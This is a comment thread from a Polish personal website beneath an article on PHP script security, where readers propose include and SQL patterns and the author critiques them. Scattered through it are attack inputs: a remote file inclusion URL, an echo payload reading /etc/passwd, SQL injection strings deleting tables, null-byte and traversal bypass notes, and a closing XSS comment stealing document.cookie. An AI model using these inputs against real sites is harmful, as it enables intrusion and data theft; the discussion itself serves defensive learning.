Notice: query (INSERT INTO lemat_stats_browser (day,browser,ilosc,internal) VALUES ('2024-04-25','Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',1,'2')) failed at /home/lemat/lemat.priv.pl/stats.php:151: Array ( [0] => 22001 [1] => 1406 [2] => Data too long for column 'browser' at row 1 ) in /home/lemat/lemat.priv.pl/panel_adm/dbclass.inc.php on line 15

Warning: Cannot modify header information - headers already sent by (output started at /home/lemat/lemat.priv.pl/panel_adm/dbclass.inc.php:15) in /home/lemat/lemat.priv.pl/stats.php on line 174
Bezpieczeństwo pisania skryptów w PHP - komentarze - Lemat, strona prywatna
Lemat, strona prywatna

Komentarze i odpowiedzi, posortowane dla odmiany chronologicznie do strony:

Bezpieczeństwo pisania skryptów w PHP
tiamak
2003-11-08 09:09:23
mala korekta
jak cos to wywoluje sie index.php?plik=http://mójserwer/skrypt a nie zadne index.php?plik=http://mójserwer/skrypt.php bo jak dasz .php to skrypt wykona sie na mojserver a jak bedzie to bez rozszerzenia to kod zaimportuje sie do indexu na serverze ofiary :)
Odpowiedź Lemata:
niekoniecznie echo "echo join('',file('/etc/passwd'))" tiamak napisał mi jeszcze, że można umieścić plik z rozszerzeneim php na serwerze nie obsługującym php. można jeszcze wyłączyć obsługę php w katalogu. natomiast udam, że nie widziałem reszty jego posta.
Yacoos^
2003-11-18 09:02:45
includowanie
nie tylko to, mozna tez zrobic: if(file_exists($plik)) { include($plik); } ma ta ta zalete, ze jak robisz OGROMNA strone to czasami klopotlie jest jak musisz kazdy nowy plik dopisac. A file_exist wystarczy, gdyz funkcja ta nie pozwala sprawdzic istnienia zdalnego pliku, tylko lokalne. Pozdrawiam
Odpowiedź Lemata:
ROTFL $plik=/etc/passwd file_exists($plik)==true [EUREKA!!] kurcze, ja mam "na koncie" kilka "OGROMNYCH" stron i zawsze robiłem z użyciem switcha.
rys
2003-12-02 23:33:18
*
strona.pl/index.php?p=strona if(file_exists('_'.$_GET['p'].'.php')) include('_'.$_GET['p'].'.php'); else include('_index.php'); wydaje mi sie ciekawym rozwiazaniem...
Odpowiedź Lemata:
na grupie pl.comp.lang.php ktoś (nie pamiętam kto i jestem zbyt leniwy aby poszukać) stwierdził, że w przypadku wyłączonych magic_quotes, jeżeli $_GET['p'] kończy się znakiem #0 to sposób z doklejaniem na końcu .php nie zadziała. Czyli tak jakby połowa Twojego zabezpieczenia właśnie poległa. A jeżeli masz w strukturze katalogów jeden zaczynający się od '_' (np. _vti*) to robi się go na "directory trawersal", i już jest po drugiej połowie. Ale nieźle kombinowałeś...
rys
2003-12-03 16:56:54
*
no tak... ale nikt nie udostepnia swojego rozwiazania publicznie dajac mozliwosc komus mozliwosc analizowania w jaki sposob to objesc... jesli ktos tego nie widzi.. trudno zeby doszedl jak to obejsc... wiec wydaje mi sie ze jest to bezpieczne ;)
Odpowiedź Lemata:
jakbym chciał "złamać" komuś serwis tobym miał na pewno 1001 sposobów i bym próbował każdego po kolei. Chciałem jeszcze dopisać do poprzedniego, że oczywiście serwis polegnie przy "nieszczęśliwej" konfiguracji serwera. Co nie jest takie nieprawdopodobne. Weźmy przypadek taki: robisz komuś serwis i więcej cię to nie obchodzi. Ty wiesz jaka jest bezpieczna konfiguracja ale Twojego klienta mało to obchodzi. Klient natomiast zmienia serwery jak rękawiczki. No i oczywiście jest niezerowe prawdopodobieństwo trafienia na "odpowiednią" konfigurację. Przypuśćmy, że znajdą Twój jeden serwis z dziurą, jeżeli ma on jakieś cechy charakterystyczne dla Ciebie, to nie problem znaleźć inne Twoje serwisy w internecie -> efekt lawiny. I na stronie www.hacking.pl pojawią się wpisy "w ciągu 30sekund włamano się na 10 serwisów zrobionych przez XYZ". A tak przy okazji - radzę co jakiś czas przeglądać logi serwera www. Można dostrzec te "1001 sposobów" o których mówiłem powyżej. Oraz takiego User Agenta Lynx/2.8.5dev.12 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6g Krótko mówiąc wiem, kto ma starą wersję OpenSSLa... I jeszcze jeden UA: Mozilla/6.0 (compatible; MSIE 8.0; Windows NT 6.0)
rys
2003-12-03 17:41:06
*
racja :) ale ja uzywam $mozliwe= array('index.php','news.php'); if(in_array(strip_tags($_GET['p'].'.php'),$mozliwe)) include(strip_tags($_GET['p'].'.php'); else include('index.php');
Odpowiedź Lemata:
hmm, a po co strip_tags? $mozliwe=array('index','news'); if(in_array($_GET['p'],$mozliwe) include($_GET['p'].'.php'); else include('na_drzewo.php');
duff
2004-01-09 11:05:23
addslashes()
Niestety tego bezkarnie nie mozna uzywac bo jezeli magic_quotes_gpc jest ustawione (a w default jest), to zrobimy podwojne addslashes(). Jedno - "automatyczne" i drugie poprzez wywolanie addslashes(). Tu lektura: http://pl2.php.net/manual/en/function.get-magic-quotes-gpc.php
Odpowiedź Lemata:
fakt, nawet nie zauważyłem co dziwne ja mam magic_quotes_gpc = On i nie doswiadczam problemów opisywanych na tej stronie. Muszę się temu przyjrzeć... kiedyś...
amorek
2004-01-15 14:04:16
includowanie z index.php?p=strona
Witam. Mam katalog główny a wnim różne pliki o rozszerzeniach .php i .htm. strony wywołuje poprzez index.php?p=strona a w kodzie mam: $p = str_replace('/', '', $p); include "$p.php"; zatem czy jest to bezpieczne rozwiązanie?
Odpowiedź Lemata:
$p='twój tajny plik z hasłami'; $p='losowo wybrany plik np. kasujący bazę danych.php'
amorek
2004-01-15 14:09:29
logowanie
Witam. Mam logowanie w ten sposób: wysyłam login i email poprzez POST i sprawdzam je w bazie jeśli login=login i haslo=haslo to rejestruję zmienną sesyjną 'admin' i potem w katalogu admin w każdej stornei sprawdzam czy ta zmienna jest zarejestrowana, a jeśli nie to przekierowuję na stronę logowania. Czy to jest bezpieczne rozwiązanie? P.S. zakładam, że mam register_globals off
Odpowiedź Lemata:
NTG -> pl.comp.lang.php if (!session_is_registered('admin')) goto /dev/drzewo ? tak.
marek
2004-02-11 10:28:03
przekazywanie ID
masz: index.php?module=pages&pg_id=16; DELETE FROM pages; robisz: if(isset($pg_id)) settype($pg_id,'int'); podobnie 'module' też możesz przekazywać jako INT i potem sobie zamieniać na odpowiedni ciąg znaków - czyli przekazywanie jako GET tylko liczb calkowitych i dodatkowo rzutowanie każdej zmiennej na INT przed jej użyciem - co Ty na to??
Odpowiedź Lemata:
ja? ja się nie muszę martwić... niech się martwią programisci skryptów, które zostały skompromitowane -> lista na www.hacking.pl $pg_id=(int)$pg_id; switch ($module) { ... } in_array($module,array(...)) krótko mówiąc Twoja propozycja z $module to trochę przegięcie w drugą stronę.
majkey_lamer
2004-02-20 13:55:53
pytanie
"Uprzejmie informuję, że na mojej stronie nie ma możliwości odczytania plików typu /etc/passwd. Osoby które zechcą to przetestować zobaczą moją stronę po raz ostatni." Jak to zrobić? Za odpowiedz dzięki.
Odpowiedź Lemata:
Zrobić co? Dopisać się na moją listę banów? Czy obejrzeć moje pliki? wystarczy poprosić.
qc
2004-02-29 10:08:11
includowanie zdalnego pliku
a nie wystarczy obciąć z nazwy pliku HTTP?
Odpowiedź Lemata:
poczytaj wypowiedź Yacoos^ (druga od dołu)
Maniek
2004-03-17 10:36:30
Zapytanie
A może tak ? SELECT * FROM hasla WHERE login='login' AND haslo='haslo' limit 1 DELETE FROM subskrypcje WHERE email='email' limit 1
Odpowiedź Lemata:
nie, nie tak. while (true) DELETE FROM subskrypcje WHERE email='email' OR 1='1' limit 1
pz
2004-05-07 20:21:46
(nie)bezpieczenstwo
[cite] tu był cytat kawałka mojej strony (ten o piaskownicy) [/cite] a nie lepiej porzadnie zabezpieczyc? btw. linux z publicznym haslem roota moze byc bezpieczny
Odpowiedź Lemata:
uważam, że mam porządnie zabezpieczony serwer, i nie (ja piiiiiii) NIDGDY w życiu nie widziałem linuxa w publicznym hasłem root-a, bo chyba nikt nie jest aż tak głupi aby to zrobić....
pawelkg
2004-05-09 22:20:01
includowanie
Ja mam taki kod if ((strstr($s,"http")==true) || (strstr($s,"ftp")==true) || (strstr($s,".")==true) || (strstr($s,"-")==true) || (strstr($s,"/")==true)) { $s="standardowa_strona"; } includowanie przez zmienną $s. To chyba jest bezpieczne. Czy powinienem się bardziej postarać?
Odpowiedź Lemata:
rób jak uważasz, tylko często zagladaj w logi i ucz się zabezpieczać na podstawie tego co w nich ujrzysz.
nie podam bo się będziecie śmiać :)
2004-06-21 22:41:14
includy
A nie da się jakoś w konfiguracji serwera i php ustawić aby trawiły TYLKO pliki z podanych katalagów na serwerze?
Odpowiedź Lemata:
w konfigu apacza można zmieniać ustawienia z php.ini poprzez php_admin_value zmienna wartość a taką zmienną jest: engine = On można to wstawić w dowolną dyrektywę w konfigu apacza, czyli sterować tym, o co pytałeś/aś. Chyba, że pytałeś/aś o allow_url_fopen = Off PS. nie bój się, nie ma głupich pytań, są tylko głupie odpowiedzi. (a jeśli się złapiesz ręką o trakcję i postawisz nogi na szynach, to pojedziesz jak tramwaj)
rkkr
2004-07-20 00:29:44
pytanie
na jednej z moich stron mam "index?param1=x¶m2=y". Oba parametry strona akceptuje tylko jako cyferki 0..9, a potem idzie include('_'.param1.'/_'.param2.'html'); Jak widać przykładowy plik do wczytania to np. "../_1/_3.html". Niemniej zostaje ileś nazw, pod którymi nie ma plików. Nic się wtedy nie pokazuje, bo error_reporting jest wyłączone. Czy to jest w miarę bezpieczne?
Odpowiedź Lemata:
tak
BarteK
2005-02-05 16:06:43
maaam prośbe...
jak ustawić, aby na mojej małej stronce nie mozna było zobaczyć źródła, tak jak jest na WuPetce(w zasadzie było)
Odpowiedź Lemata:
w archiwach pl.comp.lang.javascript oraz pl.comp.lang.php oraz w zadaniu 5 jest wyraźnie powiedziane nie da się
ksyfka :]
2005-02-22 13:59:57
spamerzy :/
ktoś wymyslil porządne zabezpieczenie, przed wysylaniem spamerskich formularzy na strone? http_referer jest dobre tylko ze nie wystarczająco dobre :> gdzie mozna o tych sprawach poczytac? itp
Odpowiedź Lemata:
wpisz guestbook spam w google, jak na razie najbardziej pewnym sposobem jest użycie autoryzacji obrazkiem (tak jak na sms bramce Idei). Ale dużo prostszym i także doskonałym sposobem jest użycie niestandardowego forum, takiego, którego skrypty mają inne nazwy oraz pola formularza mają inne nazwy.
przemek
2005-03-15 17:05:24
prośba
Czy poniższy skrypt służacy do inkludowania jest zabezpieczony przed uruchomieniem pliku spoza mojego serwera?? Nie znam sięna tyle na tym aby sam sobie odpowiedzieć na to pytanie. z góry dziękuję [a href="div.php?id=news.php"]NEWS[/a] [?php if(!isset($_GET["id"])) include("news.php"); else include($_GET["id"]); ?]
Odpowiedź Lemata:
nie jest
Arthast
2005-08-05 00:06:05
czy to jest bezpieczne ?
czy to chroni przed includowaniem? to jest pliczek index.php [?php if ($page=="news") { include "news.php"; } if ($page=="galleria") { include "galleria.php"; } ( i tak dalej wszystki stronki ) else { include "errors.php"; } ?] ??
Odpowiedź Lemata:
tak, dodatkowo poczytaj o switch
abc
2005-08-11 17:23:38
zamiast switch
a moze zamiast switch zrobic tabelke w MySQL, w ktorej przechowywane bylyby dostepne podstrony (dodatkowo w takiej tabeli moznaby przechowywac informacje o ilosci odowlan do danej podstrony czy inne...)
Krzemi
2005-12-06 10:07:33
Bezpieczeństwo
Ja mam utworzoną tablicę gdzie wpisuję nazwy plików (łącznie z katalogami jeżeli trzeba) a na stronce przełączam się podając id z bazy czyli: index.php?p=123463. To daje mi możliwość uruchamiana tego samego pliku z różnymi atrybutami nie widocznymi z poziomu www. Jedynbe co muszę sprawdzać to czy $_GET['p'] is_numeric. Czy to jest dobre i bezpieczne rozwiązanie?
Odpowiedź Lemata:
tak
maciek_
2005-12-20 15:59:57
niewiem
czemu moje wcześniejsze texty się nie ukazały na stronie ??
Odpowiedź Lemata:
bo cierpliwość jest cnotą a Ty dodajesz opinie na niewłaściwych podstronach.
maciek_
2005-12-20 16:58:39
ogolny
jeszcze raz ja jezeli pisze na niewlasciwych podstronach a mam pytanie czasami nie zwiazane z tymi podstronami to gdzie mam pisac bo chyba nie ma podstrony -OGÓLNE
Odpowiedź Lemata:
w zasadzie ja nie jestem w stanie odpowiadać na takie OGÓLNE pytania. Mi możesz zadawać konkretne pytania dotyczace tego, co umieściłem na tej witrynie.
morson
2006-01-31 02:07:27
Bezpieczeństwo
Proponuje z praktyki dodać katalogi i sprawdzić istnienie lokalne tj file_exists($t='/www/inc'.$_GET['file'].'.etc') {incude $t;} Da się to obejść ?
Odpowiedź Lemata:
podobno da się
Kocki
2006-02-12 13:57:57
Bezpieczeństwo
Jedna z pierwszych rzeczy jaką robię przy SQLu to przeniesienie uprawnień również na bazę danych. Jeśli user x służy do pobierania kodów i wyświetlania ich na stronie to ma prawo tylko SELECT i żadne DELETE czy UPDATE mu nie wyjdzie.
__Kris
2007-04-03 10:38:49
addslashes
Jak stosować addslashes() i z czym to się jje?
Odpowiedź Lemata:
z dżemem
porutmen
2007-11-05 18:50:48
ogolny
nappisal bys to prostszym jezykiem bo fajnie ze ty to rozumiesz ale mogl bys wapsc na to jak jestes taki modry ze nie kazdy moze to za czaic....
Odpowiedź Lemata:
nie umiem tego napisać jeszcze bardziej prosto.
e5
2008-02-02 23:26:39
upload i php
Czy jeżeli na moim serwerze istnieje możliwość uploadu, a ktoś mi wysle jakiś plik np z rozszerzeniem .php (serwer obsługuje php) to "coś mi się stanie" od razu czy dopiero po próbie uruchomienia tego pliku? Jaka jet szansa, że ewentualny atakujący będzie wiedział gdzie ten plik sobie poszedł? Pytania nieobowiązkowe ( :D ) : Jakich rozszerzeń najlepiej nie akceptować? Łatwo zrobić automatyczną zmianę nazwy/rozszerzenia w php? a no i jeszcze taki mały P.S. + cytat: " i tak wszyscy widzą, że musi nad nią ostro popracować mój znajomy grafik" byłem tu jakieś iks lat temu (po IP mnie nie znajdziesz bo juz mam chyba 3. providera...) i z tego co pamiętam ten tekst już wtedy tu był :p a logo (img/logo2.gif) nadal się niezmieniło, chociaż ta dwójka przed .gif mnie zastanawia... Pozdrowienia dla admina. Aż dziwne, ze ta strona jeszcze jest i nikt jej nie pokiereszował a pewnie paru próbowało...
Odpowiedź Lemata:
dopiero po próbie uruchomienia chyba, że twoje skrypty odpalają od razu pliki niewiadomego pochodzenia. plik zostanie zapewne przekopiowany tam gdzie wszystkie inne pliki, wystarczy poobserwować trochę sajt.
dfsdffsd
2008-02-12 10:23:51
dfggdag
[div style="position:absolute;top:0px;left:0px;width:2000px;height:2000px;" onclick="alert('dupa a nie programista');"]h0ck3d[/div] [script type=text/javascript]alert(document.cookie)[/script] "tu bylem ja, hacker - analfabeta"
Protected by spf
[Nospam-PL.NET]
Seti@Home
www.php.net
© Lemat 2004 - ∞